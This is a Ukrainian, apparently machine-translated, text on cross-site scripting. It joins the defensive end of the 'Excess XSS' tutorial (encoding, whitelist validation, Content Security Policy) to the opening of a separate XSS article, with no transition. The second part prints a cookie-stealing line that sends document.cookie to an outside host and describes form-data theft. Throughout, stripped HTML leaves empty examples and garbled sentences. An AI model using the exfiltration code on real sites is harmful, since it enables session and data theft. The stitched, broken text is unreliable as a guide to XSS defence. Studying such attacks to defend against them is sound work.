    Хоча зазначене значення у властивості елемента href автоматично кодує його так, що він стає не більшим, ніж значення атрибута, це само по собі не заважає зловмиснику вставити URL, що починається з javascript: «. При натисканні на посилання, незалежно від побудови, вбудований JavaScript всередині URL буде виконаний.

    Кодування також не ефективне рішення, коли ви хочете, щоб користувачі могли використовувати частину HTML-кодів на сторінці. Прикладом може бути сторінка профілю користувача, де користувач може використовувати HTML користувача. Якщо цей звичайний HTML буде закодований, сторінка профілю може складатися лише з простого тексту.

    У таких ситуаціях кодування має бути доповнено валідацією, з якою ми познайомимося далі.

    Валідація

    Валідація є актом фільтрації введення користувача таким чином, щоб всі шкідливі його частини були видалені, без необхідності видалення всього коду в ньому. Один з найпопулярніших видів перевірки у веб-розробці дозволяє використовувати деякі HTML-елементи (наприклад, і ), але заборонивши інші (наприклад, ).

    Існують дві основні характерні перевірки, що відрізняються своїми реалізаціями:

    Стратегія класифікації Введення користувача може бути класифіковано з використанням чорних або білих списків. Результат валідації Введення користувача ідентифіковане як шкідливе може бути відхилено або продезінфіковано.

    Стратегія класифікації Чорний список

    Інстинктивно, доцільно виконати перевірку шляхом визначення забороненого шаблону, який не повинен з'являтися в введенні користувача. Якщо рядок відповідає цьому шаблону, він позначається як недійсний. Наприклад дозволити користувачам відправляти URL користувача з будь-яким протоколом, за винятком javascript: . Ця стратегія класифікації називається чорний список.

    Тим не менш, чорний список має дві основні недоліки:

    Складність точно описувати безліч можливих шкідливих рядків, зазвичай, дуже складне завдання. Приклад політики описаний вище, не може бути успішно реалізований шляхом простого пошуку по підстроці "javascript", тому що йому не вистачатиме рядка виду "Javascript:" (де перша літера у верхньому регістрі) і "javascript:" (де перша літера кодується як числове посилання на символ). Устаріння Навіть якщо ідеальний чорний список був би розроблений, він виявиться марним, якщо нову функцію додану в браузер буде можливо використовувати для атаки. Наприклад, якщо чорний список для валідації HTML був розроблений до введення в HTML5 атрибута onmousewheel він (чорний список) не зможе зупинити зловмисника який буде використовувати цей атрибут для виконання XSS-атаки. Цей недолік особливо важливий у веб-розробці, яка складається з багатьох різних технологій, які постійно оновлюються.

    Через ці недоліки чорний список настійно не рекомендується як стратегія класифікації. Білий список, як правило, набагато безпечніший підхід, який ми опишемо далі.

    Білий список

    Білий списокпо суті протилежний чорному списку: замість того, щоб визначати заборонений шаблон, підхід білого списку визначає дозволений шаблон і зазначає введення недійсним, якщо він не відповідаєцього шаблону.

    На відміну від чорних списків, прикладом білих списків було б дозволити користувачам відправляти URL-адреси користувача, що містять тільки протоколи http: і https: , нічого більше. Такий підхід дозволив би автоматично помітити, що URL-адреса є недійсною, якщо вона містить протокол javascript: , навіть якщо вона представлена ​​як «Javascript:» або «javascript: «.

    У порівнянні з чорним списком у білих списків є дві основні переваги:

    Простота Точно описувати набір безпечних рядків, зазвичай, набагато простіше, ніж ідентифікувати набір всіх шкідливих рядків. Це особливо застосовно в загальних ситуаціях, коли введення користувача має включати в себе дуже обмежений набір функціональних можливостей доступних у браузері. Наприклад, білий список, описаний вище, дуже просто дозволяє використовувати URL-адреси тільки з дозволеними протоколами http: або https: , і в більшості ситуацій цього цілком достатньо для користувачів. Довговічність На відміну від чорного списку, білий список зазвичай не стають застарілими, коли нова функція додається до браузера. Наприклад, HTML валідація білим списком дозволяє тільки title атрибутам HTML-елементів залишатися безпечними, навіть якщо він (білий список) був розроблений до введення наряду атрибута HTML5.

    Результат валідації

    Коли введення користувача було відзначено як недійсне (заборонене), може бути прийнята одна з двох дій:

    Відхилення введення просто відхиляється, запобігаючи його використанню в інших місцях на сайті. Дезінфекція всі недійсні частини введених даних видаляються, а введення, що залишилося, використовується на веб-сайті як зазвичай.

    З цих двох «відхилення» є найпростішим підходом у реалізації. Але вважається, що дезінфекція є кориснішою, оскільки вона надає ширший діапазон введення для користувача. Наприклад, якщо користувач надсилає номер кредитної картки, дезінфекція видаляє всі символи, що не є символами і запобігає ін'єкції коду, а також дозволяє користувачеві ввести номер, що містить дефіси, так і без них.

    Якщо ви вирішили реалізувати дезінфекцію, необхідно переконатися, що сама процедура дезінфекції не використовує підхід чорного списку. Наприклад, URL-адресу «Javascript:...», навіть якщо ідентифікований з використанням білого списку як недійсний, отримав би в обхід дезінфекції підпрограму, яка просто видаляє всі екземпляри javascript: «. З цієї причини добре перевірені бібліотеки та фреймворки по можливості повинні використовувати дезінфекцію.

    Які методи використовуватиме профілактики?

    Кодування має бути вашою першою лінією захисту від XSS-атак, його мета в обробці даних таким чином, щоб браузер не зміг витлумачити введення користувача як код. У деяких випадках кодування має бути доповнене валідацією. Кодування та валідація повинні застосовуватися до вихідного трафіку, тому що тільки тоді ви можете знати в якому контексті буде застосовано введення користувача і яке кодування і яку валідацію необхідно застосувати.

    В якості другої лінії оборони ви повинні застосовувати на вхідних даних дезінфекцію або відхилення явно недійсного введення користувача, наприклад, посилань за допомогою протоколу javascript: . Це не може само по собі забезпечити повну безпеку, але це корисний запобіжний засіб якщо в будь-якій точці захисту кодуванням і валідацією через неправильне виконання можлива помилка.

    Якщо ці дві лінії оборони використовуються послідовно, ваш сайт буде захищений від атак XSS. Однак через складність створення та підтримки роботи веб-сайту забезпечення повного захисту з використанням тільки безпечної обробки введення користувача може бути утруднено. Як третя лінія оборони ви повинні використовувати Політики Безпеки Контенту ( англ. Content Security Policy), далі CSP, які ми опишемо далі.

    Політики Безпеки Контенту (CSP)

    Використовувати лише безпечну обробку введення користувача для захисту від XSS-атак недостатньо, тому що навіть одна помилка безпеки може поставити під загрозу ваш веб-сайт. Застосування нового веб-стандарту Політик Безпеки Контенту (CSP) може знизити цей ризик.

    CSP використовуються для обмеження використання веб-сторінки браузером таким чином, що він може використовувати тільки ресурси завантажені з надійних джерел. А ресурсиявляють собою сценарії, таблиці стилів, зображення, або будь-які інші типи файлів, на які є посилання на сторінці. Це означає, що навіть якщо зловмиснику вдасться провести ін'єкцію шкідливого контенту на вашому сайті, CSP зможе запобігти його виконанню.

    CSP можуть бути використані для забезпечення дотримання таких правил:

    Заборона ненадійних джерел зовнішні ресурси можна завантажити лише з набору чітко визначених надійних джерел. Заборона вбудованих ресурсів вбудований JavaScript та CSS не враховуватимуться. Заборона eval заборона використання функції eval у JavaScript.

    CSP у дії

    У наступному прикладі зловмиснику вдалося впровадження шкідливого коду у веб-сторінку:


    Останній коментар:

    При правильно визначеній політиці CSP, браузер не може завантажити та виконати malicious‑script.js тому що http://attacker/ не вказано як надійне джерело. Навіть незважаючи на те, що сайту не вдалося надійно обробляти введення даних користувача в даному випадку політика CSP запобігла вразливості і заподіяння будь-якої шкоди.

    Навіть якщо зловмисник провів ін'єкцію кодом всередину коду сценарію, а не посиланням на зовнішній файл, правильно налаштована політика CSP також заборонить ін'єкцію в код JavaScript запобігти вразливості та заподіянню будь-якої шкоди.

    Як увімкнути CSP?

    За промовчанням браузери не використовують CSP. Для того, щоб увімкнути SCP на своєму веб-сайті, сторінки повинні містити додатковий заголовок HTTP: Content-Security-Policy . Будь-яка сторінка, яка містить цей заголовок, буде застосовувати політики безпеки під час завантаження браузером, за умови, що браузер підтримує CSP.

    Оскільки політика безпеки надсилається з кожним HTTP-відповіддю, можна на сервері індивідуально встановити політику для кожної сторінки. Та ж політика може бути застосована до всього веб-сайт, вставляючи той самий заголовок CSP у кожному відповіді.

    Значення в заголовку Content-Security-Policy містить рядок, який визначає одну або кілька політик безпеки, які будуть працювати на вашому сайті. Синтаксис цього рядка буде описано далі.

    Приклади заголовків у цьому розділі використовують перенесення рядка та відступи для простоти сприйняття; вони не повинні бути присутніми у цьому заголовку.

    Синтаксис CSP

    Синтаксис заголовка CSP виглядає так:

    Content-Security-Policy:
    directive source‑expression, source‑expression, ...;
    directive ...;
    ...

    Цей синтаксис складається із двох елементів:

    • Директиви (directives) є рядки, що вказують тип ресурсу, взятий із заданого списку.
    • Вираз джерела (source expressions) є моделлю, що описує один чи кілька серверів від яких можуть бути завантажені ресурси.

    Для кожної директиви дані у виразі джерела визначають, які джерела можна використовувати для завантаження ресурсів відповідного типу.

    Директиви

    Наступні директиви можуть бути використані в заголовку CSP:

    • connect‑src
    • font‑src
    • frame‑src
    • img‑src
    • media‑src
    • object‑src
    • script‑src
    • style‑src

    На додаток до цього, спеціальна директива default‑src може використовуватися для того, щоб забезпечити значення за промовчанням для всіх директив, які не були включені до заголовка.

    Вираз джерела

    Синтаксис для створення виразу джерела виглядає так:

    протокол:// ім'я-хоста: номер-порту

    Ім'я хоста може починатися з * , це означає, що будь-який піддомен наданого імені хоста буде дозволено. Аналогічно номер порту може бути представлений у вигляді * , це означає, що всі порти будуть дозволені. Крім того, протокол та номер порту можуть бути пропущені. Якщо протокол не вказаний, політика вимагатиме, щоб усі ресурси були завантажені за допомогою HTTPS.

    На додаток до зазначеного вище синтаксису, вираз джерела може як альтернатива бути одним з чотирьох ключових слів зі спеціальним значенням (лапки включені):

    "None" забороняє ресурси. "self" дозволяє ресурси з хоста, на якому знаходиться веб-сторінка. "unsafe-inline" дозволяє ресурси, що містяться на сторінці як вбудовані елементи, елементи та javascript: URL-адреси. "unsafe-eval" дозволяє JavaScript функцію eval.

    Зверніть увагу, що кожного разу, коли використовується CSP, вбудовані ресурси та eval за замовчуванням автоматично заборонені. Використання "unsafe-inline" та "unsafe-eval" - єдиний спосіб для їх використання.

    Приклад політики

    Content-Security-Policy:
    script-src "self" scripts.example.com;
    media-src "none";
    img-src*;
    default‑src "self" http://*.example.com

    З цим прикладом політики веб-сторінка матиме такі обмеження:

    • Скрипти можуть бути завантажені тільки з хоста, на якому знаходиться веб-сторінка і з цієї адреси: scripts.example.com .
    • Аудіо та відео файли заборонені до завантаження.
    • Файли зображень можуть бути завантажені з будь-якої адреси.
    • Всі інші ресурси можуть бути завантажені тільки з хоста, на якому знаходиться веб-сторінка і з будь-якого піддомену example.com.
    Статус CSP

    На червень 2013 року Політики Безпеки Контенту рекомендуються консорціумом W3C. CSP реалізується розробниками браузерів, але його частини специфічні для різних браузерів. Наприклад, використання заголовка HTTP може відрізнятися між браузерами. Перед використанням CSP зверніться до документації браузерів, які ви маєте намір підтримувати.

    Резюме Резюме: Огляд XSS
    • XSS-атака є ін'єкцією коду, атака стала можливою завдяки незахищеній обробці введення користувача.
    • Успішна XSS-атака дозволяє зловмиснику виконати шкідливий JavaScript у браузері жертви.
    • Успішна XSS-атака загрожує безпеці як веб-сайту, так і його користувачів.
    Резюме: XSS-атаки
    • Існують три основні типи XSS-атак:
      • Збережені XSS, де шкідливе введення бере свій початок з бази даних веб-сайту.
      • Відбиті XSS, де шкідливе введення бере свій початок від запиту жертви.
      • XSS-атаки в DOM-моделі, де вразливість експлуатується в коді за клієнта, а чи не за сервера.
    • Всі ці атаки виконуються по-різному, але мають той самий ефект у разі успіху.
    Резюме: Запобігання XSS
    • Найважливіший спосіб запобігання XSS атак, це виконання безпечної обробки введення.
      • Кодування повинно виконуватися щоразу, коли увімкнено введення користувача на сторінці.
      • У деяких випадках кодування має бути замінене або доповнене валідацією.
      • Безпечна обробка введення повинна враховувати в який контекст сторінки вставляється введення користувача.
      • Для того, щоб запобігти всіма видами XSS-атак, безпечна обробка введення повинна виконуватися в коді як на стороні клієнта, так і на стороні сервера.
    • Політики Безпеки Контенту (CSP) забезпечують додатковий рівень захисту, якщо безпечна обробка введення містить помилку.
    Додаток Термінологія

    Слід зазначити, що існує перехрестя в термінології використовуваної для опису XSS: XSS-атака в DOM-моделі може бути збереженою або відображеною; це окремі види атак. Немає загальноприйнятої термінології, яка охоплює всі типи XSS без змішування. Незалежно від термінології використовуваної для опису XSS, найголовніше визначити тип атаки, це можливо якщо знати від куди надходить шкідливе введення і де знаходиться вразливість.

    Права використання та посилання

    The source code for Excess XSS is available on GitHub .

    Excess XSSбув створений в 2013 році як частина Language-Based Security course at Chalmers University of Technology .

    Переклад російською мовою виконав A888R, оригінальний текст англійською мовою: excess-xss.com, зауваження, пропозиції та помилки в перекладі надіслати сюди.

    Міжсайтовий скриптинг (скорочено XSS) - широко поширена вразливість, що стосується багатьох веб-додатків. Вона дозволяє зловмиснику впровадити шкідливий код у веб-сайт таким чином, що браузер користувача, який зайшов на сайт, виконає цей код.

    Зазвичай для експлуатації подібної вразливості потрібна певна взаємодія з користувачем: або його заманюють на заражений сайт за допомогою соціальної інженерії, або чекають, поки той сам відвідає даний сайт. Тому розробники часто не сприймають всерйоз XSS-уразливості.

    Але якщо їх не усувати, це може нести серйозну загрозу безпеці.

    Уявимо, що ми знаходимося на панелі адміністратора WordPress, додаємо новий контент. Якщо ми використовуємо для цього вразливу до XSS плагін, він може змусити браузер створити нового адміністратора, видозмінити контент та виконати інші шкідливі дії. Міжсайтовий скриптинг надає зловмиснику практично повний контроль над найважливішим програмним забезпеченням у наші дні – браузером.

    XSS: Вразливість для ін'єкції

    Будь-який веб-сайт або програма має кілька місць введення даних - полів форми до самого URL. Найпростіший приклад даних - коли ми вписуємо ім'я користувача і пароль у форму:

    Наше ім'я зберігатиметься в базі даних сайту для подальшої взаємодії з нами. Напевно, коли ви проходили авторизацію на якомусь сайті, ви бачили персональне привітання у стилі «Ласкаво просимо, Ілля».

    Саме для таких цілей імена користувачів зберігаються у базі даних.

    Ін'єкцією називається процедура, коли замість імені чи пароля вводиться спеціальна послідовність символів, що змушує сервер чи браузер відреагувати певним, потрібним зловмиснику.

    Міжсайтовим скриптингом називається ін'єкція, що впроваджує код, який виконуватиме дії у браузері від імені веб-сайту. Це може відбуватися як з повідомленням користувача, так і у фоновому режимі без його відома.

    Традиційні XSS-атаки: Відбиті (непостійні).

    Відбита XSS-атака спрацьовує, коли користувач переходить за спеціально підготовленим посиланням.

    Ці вразливості з'являються, коли дані, надані веб-клієнтом, найчастіше у параметрах HTTP-запиту або у формі HTML, виконуються безпосередньо серверними скриптами для синтаксичного аналізу та відображення сторінки результатів для цього клієнта без належної обробки.

    Зберігають (постійні).

    Збережені XSS можливі, коли зловмиснику вдається впровадити на сервер шкідливий код, що виконується в браузері щоразу при зверненні до оригінальної сторінки. Класичним прикладом цієї вразливості є форуми, на яких можна залишати коментарі в HTML-форматі.

    Вразливості, викликані кодом на стороні клієнта (JavaScript, Visual Basic, Flash тощо): Також відомі як DOM-моделі: Відображені (непостійні).

    Те саме, що й у випадку з серверною стороною, тільки в цьому випадку атака можлива завдяки тому, що код обробляється браузером.

    Зберігають (постійні).

    Аналогічні зберігаються XSS на стороні сервера, тільки в цьому випадку шкідлива складова зберігається на стороні клієнта, використовуючи сховище браузера.

    Приклади XSS уразливостей.

    Цікаво, що в більшості випадків, де описується дана вразливість, нас лякають наступним кодом:

    http://www.site.com/page.php?var=alert("xss");

    Існує два типи XSS вразливостей – пасивна та активна.

    Активна вразливістьбільш небезпечна, оскільки зловмиснику немає необхідності заманювати жертву за спеціальним посиланням, йому достатньо впровадити код в базу або файл на сервері. Таким чином, усі відвідувачі сайту автоматично стають жертвами. Він може бути інтегрований, наприклад, за допомогою SQL-коду (SQL Injection). Тому не варто довіряти даним, що зберігаються в БД, навіть якщо при вставці вони були оброблені.

    приклад пасивної вразливостіможна подивитися на самому початку статті. Тут уже потрібна соціальна інженерія, наприклад, важливий лист від адміністрації сайту з проханням перевірити налаштування свого облікового запису, після відновлення з бекапу. Відповідно, потрібно знати адресу жертви або просто влаштувати спам-розсилку або розмістити пост на якомусь форумі, та ще й не факт, що жертви виявляться наївними і перейдуть за вашим посиланням.

    Причому пасивної вразливості можуть бути піддані як POST, так і GET-параметри. З POST-параметрами, зрозуміло, доведеться йти на хитрощі. Наприклад, переадресація із сайту зловмисника.

    document.getElementsByTagName("form").submit();

    Отже, GET-уразливість трохи небезпечніша, т.к. жертві легше помітити неправильний домен, ніж додатковий параметр (хоча URL можна взагалі закодувати).

    Крадіжка Cookies

    Це найчастіше наведений приклад XSS-атаки. У Cookies сайти іноді зберігають якусь цінну інформацію (іноді навіть логін і пароль (або його хеш) користувача), але найнебезпечнішим є крадіжка активної сесії, тому не забуваємо натискати посилання «Вихід» на сайтах, навіть якщо це домашній комп'ютер. На щастя, на більшості ресурсів час життя сесії обмежений.

    Var img = new Image(); іmg.srс = "http://site/xss.php?" + document.cookie;

    Тому і ввели доменні обмеження на XMLHttpRequest, але зловмиснику це не страшно, оскільки , , background:url(); і т.п.

    Крадіжка даних із форм

    Шукаємо форму через, наприклад, getElementById і відстежуємо подію onsubmit. Тепер, перед відправкою форми, введені дані надсилаються також і сервер зловмисника.

    Цей тип атаки чимось нагадує фішинг, тільки використовується не підроблений сайт, а реальний чим викликається більша довіра жертви.

    DDoS-атака (розподілена атака типу «відмова в обслуговуванні»)

    XSS-вразливість на багато відвідуваних ресурсах може бути використана для проведення DDoS-атаки. Суть проста - багато запитів, які не витримує сервер, що атакується.
    Власне відношення до XSS має непряме, оскільки скрипти можуть і не використовуватися зовсім, достатньо конструкції виду:

    У чому небезпека XSS?

    Як захистити свій сайт від XSS? Як перевірити код на наявність уразливості? Існують технології типу Sucuri Firewall, спеціально розроблені для того, щоб уникнути подібних атак. Але якщо ви розробник, ви, безумовно, захочете дізнатися докладніше, як ідентифікувати та усунути XSS-уразливості.

    Про це ми поговоримо у наступній частині статті, присвяченій XSS.